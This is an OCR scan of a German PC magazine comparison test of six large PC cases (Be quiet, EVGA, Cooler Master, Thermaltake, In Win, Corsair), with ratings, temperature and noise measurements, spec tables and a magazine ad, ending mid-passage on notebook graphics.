Stück limitierte weiße Modell bau- J Bei der Lüfterbestückung làsst sich EVGA nicht 


gleich mit dem Dark Base 900 Pro. umpen. Sechs 140-mm-Modelle (2 x Heck/3 
So erbt es auch dessen sehr gute x Front/1 x Heck) gehören zum Lieferumfang. 


Ausstattung zu der eine manuell 
oder stufenlos per PWM-Signal 
regelbare Lüftersteuerung, ein 
Qi-Ladegerät, ein Mainboard-Tray, 
der ausgebaut und invertiert wer- 
den kann, eine RGB-Beleuchtung 
sowie eine Dämmung (Tür/Seiten- 
teil) gehören. Dazu kommen vie- 
le  Lüfter-Montagemóglichkeiten 


(siehe Testtabelle) sowie Radiato- | | 

ren. Ein 2x-/3x120- oder -140-mm- ^ 

Modell passt in die Front, ein Die beiden 3,5/2,5-Zoll-Kombi-Käfige befinden 
1x120-/140-mm-Wärmetauscher А : sich in einer Kammer, an deren Außenseite die 
lásst sich im Heck anbringen und Anschlüsse (u.a. ein HDMI) sowie die Lüfter- 
der Deckel nimmt Radiatoren mit Р steuerung platziert sind. Ein Display zeigt dabei 


120/140/2x120/140/3x120/140 ; s Innenraumtemperatur oder Lüfterdrehzahl an. 
mm Größe auf (max. Höhe 65 mm). 
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Wie der Name andeutet, lässt sich Cooler Masters Preis-Leistungs-Tipp 
nach eigenen Wünschen modellieren. Die Positionierung und Nutzung der 
Laufwerkshalterungen beispielsweise ist Ihnen überlassen. Zusätzlich sor- 
gen eine gute Ausstattung (Wertung; 2,23) sowie eine sehr ordentliche 
Kühlung (CPU: 66 °C/GPU: 69 °C) bei einer nicht störenden Lüfterlautheit 
von 1,2/1,2 Sone für eine Wertungsnote mit einer Eins vorm Komma. 


1 : 


Die Dämmung in der Fronttür sorgt dafür, dass 
die zwei 140-mm-Lüfter noch recht leise zu 
Werke gehen. Ein Staubschutz und modular 
einbaubare Laufwerkshalterungen gehóren zur 
guten Ausstattung des Mastercase Maker 5. 


Е (mir = e ge 


Die Lüfterhalterung im Deckel lässt sich aus- 
bauen. Die Lüfter und der LED-Streifen werden 
an eine Platine angeschlossen. Ausreichend 
große Aussparungen und ein Klettverschlusssy- 
tem garantieren die perfekte Kabelverlegung. 


Mit zwei gläsernen Türen sowie einer Glasverkleidung an Front und 
Deckel macht Thermaltakes Big-Tower nicht nur optisch auf sich 
aufmerksam. Auch Ausstattungmerkmale wie die vielen Lüfterplätze 
oder die dank GPU-Riser vertikal montierbre Grafikkarte kommen im 
Test gut an. Die Kühlleistung ist ebenfalls noch etwas besser als gut 
(Wertung: 1,67), nur die Geräuschkulisse fällt mit 1,8/1,8 Sone etwas 
zu hoch aus. 


An den Halterungen an der Rückseite der 
ainboard-Befestigung können drei 3,5-Zoll- 
oder sechs 2,5-Zoll-HDDs angebracht werden. 


Unter dem mit einem magntischen Staubschutz 
versehenen Deckel lassen sich drei 140-mm-Lüf- 
er anbringen. Ein GPU-Riser ermöglicht den 
vertikalen Einbau der Grafikkarte und der 
Laufwerkskäfig kann ausgebaut werden. 
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Die weiße Sonderedition bietet die 
gleiche beindruckende Flexibilität 
wie das Serienmodell. Die Lauf- 
werkshalterungen sind einzeln ent- 
fernbar und der 5,25-Zoll-Käfig lässt 
sich sogar für eine Lüfterhalterung 
ausbauen. Die Kombination aus den 
Dämmmatten an der hinteren Wand 
und der Tür sowie dem vorderen 
Seitenteil aus Glas erfüllt ihre Auf- 
gabe mit Bravour. Die Geräuschent- 
wicklung ist mit 1,0/0,8 Sone gering 
und die Kühlleistung fällt mit 65 °C 
(CPU), 69 °C (GPU) und 37 °C (In- 
nenraum) gut bis sehr gut aus. 


EVGA DG-87: Sehr gut kühlender Rie- 
se mit toller Ausstattung, aber lauten 
Lüftern. Das Innenraumvolumen 
von EVGAs Raumwunder DG-87 
beträgt stolze 118,9 Liter. Hier passt 
viel Hardware hinein, daher fällt die 
Ausstattung des mit einer Fronttür 
und zwei Seitentüren bestückten 
Big-Towers sehr gut und noch etwas 
besser aus als die des Erstplatzierten. 
Neben zahlreichen Lüfterplätzen 
(siehe Testtabelle) findet man auch 
ausreichend Montagemöglichkeiten 
für Laufwerke. Die beiden Festplat- 
tenkäfige, in die je drei 3,5/25-Zoll- 
HDDs passen, können sogar für den 
maximalen Platz im Innenraum aus- 
gebaut werden, da sich auf der Rück- 
seite der Platinenhalterung zwei 
weitere 3,5/2.5-Zoll-Kombi- sowei 
vier 2,5-Zoll-Halterungen befinden. 
Weitere Extras des DG-87 sind ein 
Schubfach für das Kabelmangement 
des Netzteils, ein GPU-Airflow-Ka- 
nal, eine Lüftersteuerung inklusive 
Temperatursensoren, der USB-3.1- 
und HDMI-Anschluss an der Front 
sowie Montageplätze für WaKü- 
Pumpen und -Flüssigkeitsreservoirs. 


Bei der Kühlung erzielt das EVGA 
DB-87 wegen des riesigen Innen- 
raums und der sechs mitgelieferten 
Lüfter mit 62 °C CPU-, 69 °C GPU- 
und 35 °C Innenraumtemperatur 
die beste Kühlleistung im Test. Sie 
wird mit einer hohen Lüfterlautheit 
von 1,7/1,7 Sone erkauft (Wertung: 
3,00). Be quiets Dark Base Pro 900 
White Edition erzielt hier mit 1,0/08 
Sone eine Note von 2,00 und zieht 
damit am DG-87 vorbei. 


rcase Mal 


Cooler Master Mas r 5: 
Modellierbares Gehäuse mit modera- 
tem Preis. Bei Cooler Masters bereits 
für 150 Euro erhältlichem Master- 
case Maker 5 hat der PC-Bauer die 
Möglichkeit, ein Hardware-Heim 


www.pcgameshardware.de 


J ÖNDE ° VIELE INFOGRAFIKEN ° 
a... N & HINTERGRÜNDE ° VIELE IN 

Hardware ILLUSTRATIONEN ° FÜR EINSTEIGER & PROFIS 

AKTUALISIERTE DRITTE AUFLAGE 


—— А 


PC Games Hardware Wissen `. 
EDITION P 


Sofunktioniert ^^^ 


AKTUALISIERTE 
DRITTE AUFLAGE 


 ». NUR 11,99 EURO 


PROZESSOREN 
GRAFIKKARTEN 
MAINBOARD 
INFRASTRUKTUR 
PERIPHERIE 


€11,99 
Jm, 


Jetzt einfach bestellen unter: www.pcgh.de/wissen 


Oder einfach digital lesen: epaper.pcgh.de 


INFRASTRUKTUR | Vergleichstest große Gehäuse 


In Win 509 


Mit 71,6 Litern Volumen geht der Platzbedarf des In Win 509 in 
Ordnung. Durch den für die Montage von Laufwerkshalterungen oder 
Radiatoren vorgesehenen Raum zwischen der Front und dem eigent- 
lichen Innenraum (siehe Bild rechts) geht trotzdem Platz für den Einbau 
von Platine und GPU verloren. Da das Gehäuse ohne Lüfter ausgeliefert 
wird, bestücken wir es mit Be quiet Silent Wings 2. Die kühlen die Hard- 
ware im Inneren gut bis sehr gut und mit 1,6/1,5 Sone Lautheit. 


Am 


Corsair Carbide Air 740 


Mit dem für 135 Euro erháltlichen Carbide Air 740 liefert Corsair einen 
Spar-Tipp, der optisch anspricht und mit einem Zweikammerinnenraum 
und einer Seitentür mit Fenster auch Besonderheiten zu bieten hat. Die 
Kühlleistung ist mit 67 °C (CPU), 69 °C (GPU) und nur 31 °C Innenraum- 
temperatur sehr ordentlich. Da vor allem viel Lüftergeräusch durch die 
offene Front dringt, fállt die Lautheit mit 2,7/2,3 jedoch zu hoch aus. 
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š 
In den Kombi-Laufwerkskäfig mit SATA-Hot- 
Swap-Anschluss passen je drei 3,5- oder 
2,5-Zoll-Festplatten. In Win liefert das 509 
ohne Lüfter. Wir wählen Be quiets Silent Wings 
2, die den Preis um weitere 65 Euro erhöhen. 


Zusätzlich zum Laufwerkskäfig verfügt das In 
Win 509 über vier 2,5-Zoll-SSD-Halterungen, 
die vertikal an der Leiste für die HDD-Lüfter 
befestigt werden. An diesen Halterungen lässt 
sich alternativ ein 360-mm-Radiator montieren. 


Beim Zweikammerinnenraumdesign des Car- 
bide Airs 740 befinden sich die Laufwerkskäfige 
und das Netzteil in der zweiten Kammer hinter 
der Board-Halterung. So lassen sich am Deckel 
und am Boden 140-mm-Lüfter anbringen. 


Das Netzteil wird hochkant montiert und mit 
einer Vorrichtung fixiert. An Laufwerksplatz 
mangelt es in der zweiten Kammer nicht. Sieben 
2,5-Zoll-HDDs/SSDs oder drei 3,5-Zoll-HDDs und 
vier 2,5-Zoll-SSDs passen in die Halterungen. 


flexibel nach seinem Gusto zu ge- 
stalten. Die Laufwerkskäfige lassen 
sich an beliebiger Stelle an den da- 
für vorgesehenen Hallterungen an- 
bringen. Man kann die beiden Käfi- 
ge auch entfernen und die ebenfalls 
demontierbaren _2,5-Zoll-SSD-Hal- 
terungen auf der Trennwand zwi- 
schen Mainboard- und Netzteilkam- 
mer (Zweikammersystem) nutzen. 
Sind Sie mit der Lüfterbestückung 
(siehe Testtabelle) des mittelgro- 
ßen Gehäuses zufrieden, können 
Sie die Lüfterhalterung im Deckel 
entfernen. Zur Flexibilität des Mas- 
tercase Makers 5 kommt eine gute 
Ausstattung mit Besonderheiten 
wie einer gedämmten Fronttür mit 
Staubschutz, dem magnetischen 
Deckel, ein Kabelmanagement mit 
Klettverschlüssen und eine Plati- 
ne für LED-Leuchtstreifen und die 
Lüftersteuerung. So gut wie die 
Ausstattung fällt auch die Leistung 
aus. Mit Messwerten von 66 °C für 
die CPU sowie je 69 °C für die Gra- 
fikarte und den Innenraum ist die 
Wertung für die Kühlleistung mit 
1,63 sogar noch besser als gut. Mit 
1,2/1,2 Sone ist die Geräuschkulis- 
se dabei hörbar, aber noch nicht 
störend. 


Thermaltake View 71 TG: Vollverglas- 
tes Platzwunder mit Sonderausstat- 
tung. Wer nach einem auffälligen 
Hardware-Heim sucht, in das bis zu 
zehn 2,5-Zoll und sieben 3,5-Zoll- 
Laufwerke, E-ATX-Platinen 
viele Lüfter eingebaut werden kön- 
nen, wird mit Thermaltakes View 71 
TG fündig. Im Innenraum (Volumen: 
93,6 Liter) findet man zwei Kom- 
bi-Käfige für je zwei 3,5/2,5-Zoll- 
Laufwerke. Will man beispielsweise 
eine Grafikkarte mit mehr als 31 cm 
Länge nutzen, lassen sich die Käfige 
demontieren (maximale Grafikar- 
tenlänge: 41 cm). Alternativ sind auf 
der Rückseite des Mainboard-Trays 
drei entfernbare Halterungen plat- 
ziert, an denen wahlweise je eine 
3,5-Zoll-HDD oder zwei 2,5-Zoll- 
HDDs/SSDs angeschraubt werden 
können. Im geräumigen Inneren fin- 


sowie 


det man eine Halterung und einen 
Riser für den vertikalen Einbau der 
Grafikkarte. Darüber hinaus eignet 
sich das View 71 TG für den Einbau 
einer Wasserkühlung: Die Front und 
der Deckel lassen sich mit einem 
3x140-mm-Radiator bestücken und 
am Heck und am Boden findet ein 
1x140-mm oder 2x 120-mm-Wärme- 
tauscher Platz. Zum Lieferumfang 
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gehören zwei blau beleuchtete 
140-mm-Lüfter (Front/Heck), die ih- 
ren Job mit 1,8 Sone Lautheit hörbar, 
aber nicht störend erledigen und die 
CPU mit 69 °C gut und die GPU und 
den Innenraum mit 68 °C respektive 
29 °C gut bis sehr gut kühlen. 


In Win 509: Spezielles, WaKü-opti- 
miertes Innenraumdesign. In Win 
setzt beim 509 auf ein ungewöhn- 
liches Innenraumlayout. Der Ein- 


bauplatz für die Hauptplatine und 
die Grafikkarte wird durch eine 
rot lackierte Halterung beschränkt, 
die sich vor der eigentlichen Front 
mit ihren staubgeschützten Lüf- 
terplätzen befindet. An dieser 
zusätzlichen Längsstrebe lassen 
sich bis zu drei 120-mm-Lüfter be- 
festigen, welche den 3,5/2,5-Zoll- 
Kombi-Laufwerkskäfig mit SATA- 
Hot-Swap-Anschluss kühlen. Die 
Konstruktion bietet aber auch Platz 


GEHÄUSE: 
MIDI-TOWER 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


Gehäuse 
Hersteller (Webseite) 


für den vertikalen Einbau der vier 
Halterungen, die entweder zur 
Montage von 2,5-Zoll-SSDs/HDDs 
oder für die Anbringung von bis 
zu drei 120-mm-Lüftern respektive 
eines 360-mm-Radiators geeignet 
sind. Die restliche Ausstattung ent- 
spricht, von der Grafikkartenstütze 
sowie Halterungen für die Pumpe 
und den Reservoirbehälter einer 
Wasserkühlung abgesehen, dem 
Standard. Was fehlt und was den Ge- 


samtpreis um 65 Euro erhöht, sind 
die drei Be quiet Silent Wings 2, mit 
denen wir das lüfterlos ausgeliefer- 
te In Win 509 bestücken. Das Trio 
sorgt füt eine sehr ordentliche Küh- 
lung (CPU: 69 °C/GPU: 70 °C/Inne- 
raum: 31 °C), ist mit 1,6/1,5 Sone 
aber nicht flüsterleise. 


Corsair Carbide Air 740: Optisch 
ansprechend, günstig und bei 5V- 
Lüfterspannung auch leise. Corsairs 


PREIS-LEISTUNGS-TIPP 


Dark Base Pro 900 White Edition 


Be quiet (www.bequiet.com) 


EVGA (www.evga.com) 


Cooler Master 
Mastercase Maler $ 


Hardware 


Mastercase Maker 5 
Cooler Master (www.coolermaster.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1680701 


www.pcgh.de/preis/1479937 


www.pcgh.de/preis/1415977 


Preis/Preis-Leistungs-Verhältnis (getestete Version) 


Ca. € 250,-/befriedigend (ein Seitenteil aus Glas, Dämmung) 


Ca. € 250,-/befriedigend (Sichtfenster/keine Dämmung) 


Ca. € 150,-/voll gut (Seitenteil mit Fenster, keine Dämmung) 


Version ohne Fenster/ohne Dämmung/Lüfter 
Ausstattung (20 %) 
Plätze für Laufwerke 


Nicht vorhanden/nicht vorhanden/nicht vorhanden 
1,24 
2 x 5,25 Zoll, 7 x 3,5 oder 14 x 2,5 Zoll, 1x 2,5 Zoll 


Nicht vorhanden/nicht vorhanden/nicht vorhanden 
1,14 
8 x 3,5/2,5 Zoll, 4 x 2,5 Zoll 


Nicht vorhanden/nicht vorhanden/nicht vorhanden 
2,23 


Deckel: 2 x 140 mm, Front: 2 x 140 mm, Heck: 1x 
140/120 mm, Seite:-, Boden:- 


Erweiterungs-Slots (Blende) 


Acht 


Neun 


Sieben 


Handbuch 


Sehr ausführlich 


Sehr ausführlich 


Sehr ausführlich 


Lüfterplätze 


Deckel: 3 x 140/4 x 120/1 x 180 mm, Front: 3 x 140 
mm, Heck: 1 x 140 mm, Seite: 2 x 120 mm, Boden: 2 x 
140/120 mm 


Deckel: 3 x 140 mm, Front: 3 x 140 mm, Heck: 2 x 
140/120 mm, Seite: — Boden:— 


Deckel: 3 x 140/120 mm, Front: 2 x 140/3 x 120, Heck: 1 
x 140/120 mm, Seite:-, Boden: 2 x 120 


Vorhandene Lüfter 


3 x 140 mm (1 x Heck/2 x Front) 


6 x 140 mm (2 x Heck/3 x Front/1 x Deckel) 


3 x 140 mm (1 x Heck/2 x Front) 


dungssteifheit 


Frontanschlüsse 2 x USB 3.0, 2 x USB 2.0, Audio USB 3.0 (Typ C), 2 x USB 3.0 (Typ A), 2 x USB 2.0, HDMI, Audio | USB 3.0 (Typ C), USB 3.0 (Typ А), 2 x USB 2.0, Audio 

Besonderheiten Dämmung enthalten, ein Seitenteil aus Glas, Fronttür, Seitenteiltür mit Sichtfenster (Kunststoff), Beleuchtung und — |Seitenteil mit Sichtfenster (Kunststoff), Fronttür, LED-Beleuch- 
LED-Beleuchtung (Leuchtleiste), SSD-Montage auf Rückseite | Display für Lüftersteuerung, Staubschutz Front mit Druck- tung (Leuchtstreifen), Staubschutz Front mit Druckmechanis- 
der Mainboard-Halterung, Metallhalterungen für Pumpe und | mechanismus, SSD/HDD-Halterungen auf der Rückseite des | mus, SSD-Halterungen auf der Netzteilkammer, werkzeuglose 
den Ausgleichsbehälter (Макі), Lufthutze Seitenteil, Staub- | Mainboard-Trays, werkzeuglose Laufwerksbefestigung, Hal- | Laufwerksbefestigung, magnetischer Deckel mit Staubschutz, 
schutz Front mit Druckmechanismus, Lüftersteuerungsplatine, | terung für WaKü-Ausgleichsbehälter, werkzeugloser Schließ- | Netzteilkammer, Lüftersteuerung, Staubschutz am Boden, 
Staubschutz an Front und Boden mechanismus Seitenteil, Netzteilabdeckung, Lüftersteuerung, | Kabelführungssystem mit Klettverschlüssen 

Staubschutz am Heck, Kabelführungssystem 

Eigenschaften (20 %) 1,29 1,21 1,51 

Material (nicht gewertet) Stahl, Kunststoff und Glas Stahl, Kunststoff und Glas Stahl und Kunststoff 

Gewicht (nicht gwertet) 18,9 kg 19,6 kg 12,3 kg 

Abmessungen (H x B x T)/Volumen 58,5 x 24,2 x 57,7 cm/81,7 Liter 64,2 x 27,0 x 68,6 cm/118,9 Liter 54,8 x 23,5 x 52,8 cm/68,1 Liter 

Platz für Grafikkarte/CPU-Kühler 47,2/18,5 cm 42,5,/19,5 cm 41,2,119,0 cm 

Verarbeitung allgemein/Schnittkanten/Verwin- Sehr gut/sehr gut/sehr out Sehr gut/sehr gut/sehr out Sehr gut/gut/sehr gut 


Zusammenbau * 


Sehr gut: Sind alle Laufwerkshalterungen entfernt, gibt es 
sehr viel Platz für den Komponenteneinbau. Des Weiteren ist 
die Platine beim Dark Base 900 Pro um 180 Grad drehbar. 


Sehr gut: Mit 120 Litern Volumen bietet das DG-87 den 
größten Innenraum und damit unheimlich viel Platz für den 
Einbau von Komponenten. 


Sehr gut: Da beide Laufwerkshalterungen modular nutzbar 
sind und in der oberen Kammer sowie der Netzteilkammer 
ausgebaut werden kónnen, ist sehr viel Platz vorhanden. 


Besonderheiten beim Zusammenbau 


Festplattenhalterungen einzeln herausnehmbar, SSD-Halte- 
rungen auf der Rückseite des Mainboard-Trays demontierbar, 
Mainboardschlitten (Platinenhalterung um 180 Grad gedreht 
montierbar), Aussparung hinter dem Sockel, Aussparung 

für Kabeldurchführungen, sehr gute Entkopplung der HDDs, 
Lüftersteuerung per PWM-Signal vom Mainboard 


Festplattenkäfige herausnehmbar, SSD/HDD-Halterung 

auf der Rückseite des Mainboard-Trays demontierbar, 
Aussparung hinter dem Sockel, Aussparung für Kabeldurch- 
führungen und Kabelmanagement auf der Rückseite, sehr 
gute Entkopplung der HDDs, Lüftersteuerung per Panel 
(Lüfterdrehzahl von 100 bis 50 in 5er-Schritten) 


Festplattenkäfig herausnehmbar, SSD-Halterung auf der 
Oberseite der Netzteilkammer demontierbar, separate Kam- 
mer für die Platine, Aussparung hinter dem Sockel, Ausspa- 
rung für Kabeldurchführungen und Kabelmanagement auf 
der Rückseite, sehr gute Entkopplung der HDDs, Lüftersteue- 
rung per Platine (sechs Lüfter 12 V und 7 Volt schaltbar) 


Praxisprobleme 


Leicht: Beim Einbau eines 140-mm-Lüfters an der Front anstel- 


Keine Probleme 


Keine Probleme 


le des 5,25-Zoll-Laufwerkskäfigs fehlt der Staubschutz 
Kompatibilitätstest XL-ATX passt nicht Alle Platinengrößen passen XL-ATX passt nicht 
Leistung (60 %) 1,79 2,19 2,00 
Temperatur CPU 65,0 °C 62,0 °C 66,0 °C 


Temperatur GPU (Lüfterumdrehzahl/Takt) 


69,0 °C (2.020 U/min/1.848 MHz) 


69,0 °C (2.036 U/min/1.823 MHz) 


69,0 °C (2.040 U/min/1.823 MHz) 


Temperatur Innenraum Gehäuse/M.2-SSD 


37,1 °C/54,0 °C 


35,0 EE) C 


39,0 *C/54,0 *C 


Lautheit der Lüfter, 50 cm Abstand frontal/schrág 
vorne (45-Grad-Winkel) 


FAZIT 
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1,0/0,8 Sone 


© Ausstattung, sehr hohe Flexibilitát beim Einbau 
© Temperatur CPU, Innenraum, GPU 


© Lautheit der mitgelieferten Be-quiet-Lüfter 


Wertung: 1,58 


1,7/1,7 Sone** 


© Temperatur Grafikkarte und CPU 
© Ausstattung (Laufwerkshalterungen/Lüfterplátze) 
© Sehr viel Platz für den Einbau von Komponenten 


Wertung: 1,78 


1,2/1,2 Sone 


© Temperatur Grafikkarte und Prozessor 
© Geringe Lautheit der mitgelieferten Lüfter 
© Ausstattung: modulare Komponenten 


Wertung: 1,95 


www.pcgameshardware.de 


* System: Intel Core i7-6700K, Intel 2170, Gigabyte Geforce GTX 1070 OC Edition (83 °C Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Thermalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


** Lüfterdrehzahl auf 50 Prozent reduziert (Stufe 50/5V per Lüftersteuerung des Gehäuses) 
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mit einer Seitentür inklusive Fens- 
ter bestücktes Carbide Air 740 ist 
das günstigste Gehäuse im Testfeld. 
Die Ausstattung ist zwar nicht so 
umfangreich wie bei den beiden 
250-Euro-Platzhirschen und dem 
Mastercase Maker 5, dank Features 
wie einem Zweikammerinnen- 
raumdesign, einem Schließmecha- 
nismus für der Tür, einem magne- 
tischen Staubschutz für Front und 


bauten Netzteil und zwei 140-mm- 
Lüfterplätzen am Boden fällt sie 
trotzdem zufriedenstellend und 
dem günstigen Preis von 135 Euro 
mehr als angemessen aus. Das zwei- 
geteilte Innenraumdesign, bei dem 
sich in der vorderen Kammer nur 
die Lüfter/Radiatoren befinden, er- 
leichert nicht nur den Einbau von 
Platine und GPU enorm. Da der 
Wärme produzierende Stromgeber 


den Raum hinter den Mainboard- 
Tray verbannt werden, fällt auch 
die Kühlung mehr als ordentlich 
aus (CPU: 68 °C/GPU: 69 °C/Innen- 
raum: 31 °C). Das Problem des Car- 
bide Airs 740 ist das Lüftergeräusch 
von 2,7/2,3, das durch die Waben- 
gitterelemente an der Front und 
dem Deckel dringt. Wir empfehlen, 
die Spannung der Propeller auf 5V 
zu drosseln, anstatt die Drehzahl 


Fazit Hardware 


Vergleichstest Big-Tower ab 100 Euro 
Dank seiner Flexibilität, gelungenen Aus- 
stattung und leisen sowie sehr guten 
Kühlleistung bleibt Be quiets Dark Base 
Pro 900 auch in Weiß die Referenz. Das 
EVGA DG-87 bietet sogar mehr Extras, 
rutscht aber wegen der lauteren Lüfter auf 
Platz zwei. Wer sparen möchte, trifft mit 
dem Cooler Master Case Maker 5 oder 
Corsair Carbide Air 740 eine gute Wahl. 


Seitenteil, einem hochkant einge- und die Laufwerkshalterungen in vom Board regeln zu lassen. (fs) 
—: = 
SPAR-TIPP 
Кт 
Нагйшаге 
Auszug aus Testtabelle 
mit 39 Wertungskriterien 
Gehàuse 509 View 71 TG Edition Carbide Air 740 


Hersteller (Webseite) 


In Win (www.in-win.com/de) 


Thermaltake (http://de.thermaltake.com) 


Corsair (www.corsair.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1507129 


www.pcgh.de/preis/1674631 


www.pcgh.de/preis/1502381 


Preis/Preis-Leistungs-Verhältnis (getestete Version) 


Ca. € 185,-/ausreichend (Seitenteil und Front aus Glas, keine 
Dämmung, keine Lüfter!) 


Ca. € 180,-/voll befriedigend (Front, Deckel, beide Seitenteile 
aus Glas, keine Dämmung) 


Ca. Є 135,-/voll gut (Seitentür mit Fenster/keine Dämmung) 


Version ohne Fenster/ohne Dàmmung/Lüfter 


Nicht vorhanden/n. v./ca. € 185,- 


Nicht vorhanden/n. v./n. v. 


Nicht vorhanden/n. v./n. v. 


120 mm, vertikale Leiste: 2 х 140/3 x 120 mm, Heck: 1 х 
140/120 mm, Seite:-, Boden: 1 x 140/120 mm 


x 140/120 mm, Seite:-, Boden: 2 x 120 


Ausstattung (20 %) 2,85 2,38 2,96 
Plätze für Laufwerke 1x 5,25 Zoll, 5 x 3,5/2,5 Zoll, 4 x 2,5 Zoll 2 x 3,5/2,5 Zoll, 3 x 3,5 Zoll oder 6 x 2,5 Zoll 3 x 3,5/2,5 Zoll, 4 x 2,5 Zoll 
Erweiterungs-Slots (Blende) Acht Acht + zwei für vertiakalen CPU-Einbau (GPU-Riser-Halte- — | Acht 
rung mitgeliefert) 
Handbuch Normal Nicht vorhanden Sehr ausführlich 
Lüfterplátze Deckel:-, Front: 2 x 140/3 x 120 mm, rechtes Seitenteil: 3 x | Deckel: 3 x 140/120 mm, Front: 2 x 140/3 x 120, Heck: 1 | Deckel: 2 x 140 mm, Front: 2 x 140 mm, Heck: 1 x 140 


mm, Seite:-, Boden: 2 x 140 mm 


Vorhandene Lüfter 


Keine 


2 x 140 mm (Front/Heck) 


3 x 140 mm (1 x Heck/2 x Front) 


Frontanschlüsse 


4 x USB 3.0, Audio 


2 x USB 3.0, 2 x USB 2.0, Audio 


2 x USB 3.0, Audio 


Besonderheiten 


Seitenteil und Front aus Glas, Frontbeleuchtung, Metallhal- 
terungen für Pumpe und den Reservoirbehälter (WaKü), vier 
Zusatzhalterung für SSDs (Frontbereich, vertikaler Einbau), 
werkzeuglose Laufwerksbefestigung, Staubschutz Front und 
Boden entfernbar (Schiebemechanismus), SATA-Hot Swap für 
3,5/2,5-Kombikäfig, Grafikartenhalterung, Staubschutz an 
Front und Boden 


Abdeckung aus Glas für die Front und den Deckel, beide 
Seitenteile aus Glas, beide Seiternteile mit Türmechanismus, 
beleuchtete Lüfter (blau), magnetischer Staubschutz für den 
Deckel und die Front, SSD-Montage auf Rückseite des Main- 
board-Trays mit entfernbarer Halterung, WaKü-Schlauch- 
ausgänge, Grafikartenhalterung (vertilaker Einbau per Riser 
möglich), Staubschutz am Boden 


Ein Seiternteil als Tür mit Fenster, magnetischer Staubschutz 
für die Front, Zweikammersystem für den Innenraum, 
SSD-Montage auf Rückseite des Mainboard-Trays mit ent- 
fernbarer Halterung, werkzeuglose Laufwerksbefestigung, 
schraubenloser Schließmechanismus (vorderes Seitenteil), 
magnetischer Staubschutz (hinteres Seitenteil) 


Eigenschaften (20 %) 1,60 1,66 1,46 

Material (nicht gewertet) Stahl und Kunststoff und Glas Stahl, Kunststoff und Glas Stahl und Kunststoff 

Gewicht (nicht gwertet) 14,0 kg 18,9 kg 8,8 kg 

Abmessungen (H x B x T)/Volumen 52,7 x 23,5 x 57,8 cm/71,6 Liter 59,2 x 27,4 x 57,7 cm/93,6 Liter 51,0 x 34,0 x 42,6 cm/73,9 Liter 
Platz für Grafikkarte/CPU-Kühler 37,0/18,8 cm 41,0,/19,0 cm 32,0,/18,0 cm 


Verarbeitung allgemein/Schnittkanten/Verwin- 
dungssteifheit 


Sehr gut/sehr gut/sehr gut 


Befriedigend/gut/sehr gut 


Sehr gut/sehr gutgut/sehr gut 


Zusammenbau * 


Gut: Durch den für Laufwerkhalterungen oder Lüfter ge- 
dachten Raum zwischen der Front und dem eigentlichen 
Innenraum Platz für den Einbau von GPU und CPU verloren. 


Sehr gut: Sehr großer Innenraum mit viel Volumen und viel 
Platz für den Komponenteneinbau. Die Laufwerkskäfige kön- 
nen komplett etfernt und die GPU vertikal eingebaut werden. 


Sehr gut: Dank des Zweikammersystems, bei dem sich das 
Netzteil und die Laufwerkwerkshalterungen in der hinteren 
Kammer befinden, ist in der vorderen Kammer sehr viel Platz. 


Besonderheiten beim Zusammenbau 


Festplattenkäfige herausnehmbar, vier demontierbare 
2,5-Zoll-SSD-Halterungen (vertikale Leiste), Aussparung 
hinter dem Sockel, Aussparung für Kabeldurchführungen auf 
der Rückseite, sehr gute Entkopplung der HDDs 


Festplattenkäfig herausnehmbar, Halterung für 3/6 x 
3,5/2,5-Zoll HDDs/SSDs an der Rückseite des Main- 
board-Trays, Grafikkartenhalterung, Aussparung hinter dem 
Sockel, Aussparung für Kabeldurchführungen und Kabelma- 
nagemant auf der Rückseite, mäßige Entkopplung der HDDs 


Festplattenkäfig herausnehmbar, SSD-Halterung auf der 
Rückseite des MB-Trays demontierbar, Aussparung hinter 
dem Sockel, Aussparung für Kabeldurchführungen, sehr gute 
Entkopplung der HDDs 


Praxisprobleme Keine Probleme Keine Probleme Keine Probleme 
Kompatibilitätstest XL-ATX passt nicht Alle Platinengrößen passen Alle Platinengrößen passen 
Leistung (60 %) 2,18 2,40 2,85 

Temperatur CPU 65,0 °C 69,0 °C 68,0 °C 


Temperatur GPU (Lüfterumdrehzahl/Takt) 


70,0 °C (2.076 U/min/1.835 MHz) 


68,0 °C (2.000 U/min/1.835 MHz) 


69,0 °C (2.016 U/min/1.835 MHz) 


* System: Intel Core i7-6700K, Intel 7170, Gigabyte Geforce GTX 1070 OC Edition (83 °C Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Thermalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


*** Lüfterbestückung: 3 x Be quiet Silent Wings 2 (ca. 65 Euro) 


Temperatur Innenraum Gehäuse/M.2-SSD 


31,0 °С/53,0 °C 


29,0 °C/58,0 °C 


31,0 °С/58,0 °C 


Lautheit der Lüfter, 50 cm Abstand frontal/schräg 
vorne (45-Grad-Winkel) 


FAZIT 
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1,6/1,5 Sone *** 


© Temperatur Grafikkarte und Prozessor 
© Geringe Lautheit der mitgelieferten Lüfter 


© Keine Lüfter mitgeliefert (ca. 65 Euro Extrakosten) 


Wertung: 2,20 


1,8/1,8 Sone 


© Temperatur Grafikkarte und Innenraum 
© Ausstattung (u.a. GPU-Halterung und Riser) 
© Lüfter etwas zu laut (relativ offene Front) 


Wertung: 2,25 


2,7/2,3 Sone 


© Temperatur CPU und Innenraum 
© Lüfterbestückung/Zweikammerdesign 
© Lautheit der Lüfter dank offener Bauweise 


Wertung: 2,59 
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Externe 


К“ dünn, leicht und eine 
potente Rechenleistung: Busi- 
ness-Notebooks sind für das mobile 


Arbeiten geschaffen. Ein leistungs- 
fähiger Prozessor, eine schnelle 
SSD und satter Arbeitsspeicher sor- 
gen für einen flüssigen Betrieb bei 
Office-Anwendungen. Als Grafik- 
einheit kommt in solchen kompak- 
ten Rechnern lediglich die in der 
CPU integrierte zum Einsatz. Für 
eine leistungsfähige Grafikeinheit 
fehlt einfach das Kühlvolumen - 
das den schlanken Rechner schwe- 
rer und größer werden lässt, was 
wiederum die Mobilität zunich- 
temachen würde. Ausgewiesene 
Gaming-Notebooks wiegen meist 
über zwei Kilogramm und sind nur 
selten mit kleineren Bilddiagona- 
len unter 15 Zoll anzutreffen. Das 
